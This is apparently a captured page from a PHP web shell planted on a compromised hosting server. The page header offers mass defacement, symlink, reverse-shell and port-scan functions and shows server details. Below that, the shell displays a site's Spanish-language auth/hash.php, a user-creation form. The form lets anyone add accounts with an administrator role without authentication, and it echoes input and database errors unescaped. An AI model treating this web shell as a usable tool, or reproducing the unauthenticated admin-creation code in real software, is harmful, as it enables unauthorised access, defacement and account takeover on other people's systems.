Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
soporte
/
auth
/
Viewing: hash.php
<?php // auth/hash.php require_once 'database.php'; $mensaje = ''; // Procesar el formulario cuando se envía if ($_SERVER['REQUEST_METHOD'] == 'POST') { $nombre = trim($_POST['nombre']); $email = trim($_POST['email']); $password = $_POST['password']; $rol = $_POST['rol']; // Validar que no haya campos vacíos if (!empty($nombre) && !empty($email) && !empty($password)) { // 1. Aquí se genera el HASH de la contraseña $password_hasheada = password_hash($password, PASSWORD_DEFAULT); try { // 2. Insertar el usuario en la base de datos con la contraseña encriptada $stmt = $pdo->prepare("INSERT INTO usuarios (nombre, email, password, rol) VALUES (?, ?, ?, ?)"); $stmt->execute([$nombre, $email, $password_hasheada, $rol]); $mensaje = "<div class='bg-green-500/20 border border-green-500 text-green-300 p-4 rounded-lg mb-6'> ¡Éxito! Usuario <strong>$nombre</strong> creado correctamente en la base de datos. </div>"; } catch (PDOException $e) { // Manejo de errores (ej. si el email ya existe) $mensaje = "<div class='bg-red-500/20 border border-red-500 text-red-300 p-4 rounded-lg mb-6'> Error al crear usuario: " . $e->getMessage() . " </div>"; } } else { $mensaje = "<div class='bg-yellow-500/20 border border-yellow-500 text-yellow-300 p-4 rounded-lg mb-6'> Por favor completa todos los campos. </div>"; } } ?> <!DOCTYPE html> <html lang="es" class="h-full bg-[#1A0B2E]"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Crear Usuario - Streaming Stone</title> <script src="https://cdn.tailwindcss.com"></script> </head> <body class="h-full flex items-center justify-center p-4"> <div class="w-full max-w-lg bg-[#2D1B4E] p-8 rounded-2xl shadow-2xl border border-purple-500/30"> <div class="text-center mb-8"> <h2 class="text-2xl font-bold text-[#FFD700] tracking-widest uppercase">Creador de Usuarios</h2> <p class="text-purple-300 text-sm mt-1">Generador de Hash e Inserción a BD</p> </div> <?= $mensaje ?> <form action="hash.php" method="POST" class="space-y-5"> <div> <label class="block text-sm font-medium text-gray-300 mb-1">Nombre Completo</label> <input type="text" name="nombre" required placeholder="Ej: Lenny N." class="w-full px-4 py-2 bg-[#1A0B2E] border border-purple-600 rounded-lg text-white focus:outline-none focus:ring-2 focus:ring-[#FFD700]"> </div> <div> <label class="block text-sm font-medium text-gray-300 mb-1">Correo Electrónico</label> <input type="email" name="email" required placeholder="correo@ejemplo.com" class="w-full px-4 py-2 bg-[#1A0B2E] border border-purple-600 rounded-lg text-white focus:outline-none focus:ring-2 focus:ring-[#FFD700]"> </div> <div> <label class="block text-sm font-medium text-gray-300 mb-1">Contraseña</label> <input type="password" name="password" required placeholder="Escribe la contraseña" class="w-full px-4 py-2 bg-[#1A0B2E] border border-purple-600 rounded-lg text-white focus:outline-none focus:ring-2 focus:ring-[#FFD700]"> </div> <div> <label class="block text-sm font-medium text-gray-300 mb-1">Rol del Sistema</label> <select name="rol" class="w-full px-4 py-2 bg-[#1A0B2E] border border-purple-600 rounded-lg text-white focus:outline-none focus:ring-2 focus:ring-[#FFD700]"> <option value="admin">Administrador (Acceso a Panel)</option> <option value="cliente">Cliente (Acceso a Vista Cliente)</option> </select> </div> <button type="submit" class="w-full mt-4 bg-[#FFD700] hover:bg-yellow-400 text-[#1A0B2E] font-bold py-3 rounded-lg transition-all duration-300 shadow-lg uppercase text-sm tracking-wider"> Crear Usuario y Encriptar </button> </form> <div class="mt-6 text-center"> <a href="login.php" class="text-purple-400 hover:text-[#FFD700] text-sm transition-colors"> ← Ir al Login </a> </div> </div> </body> </html>
Coded With 💗 by
0x6ick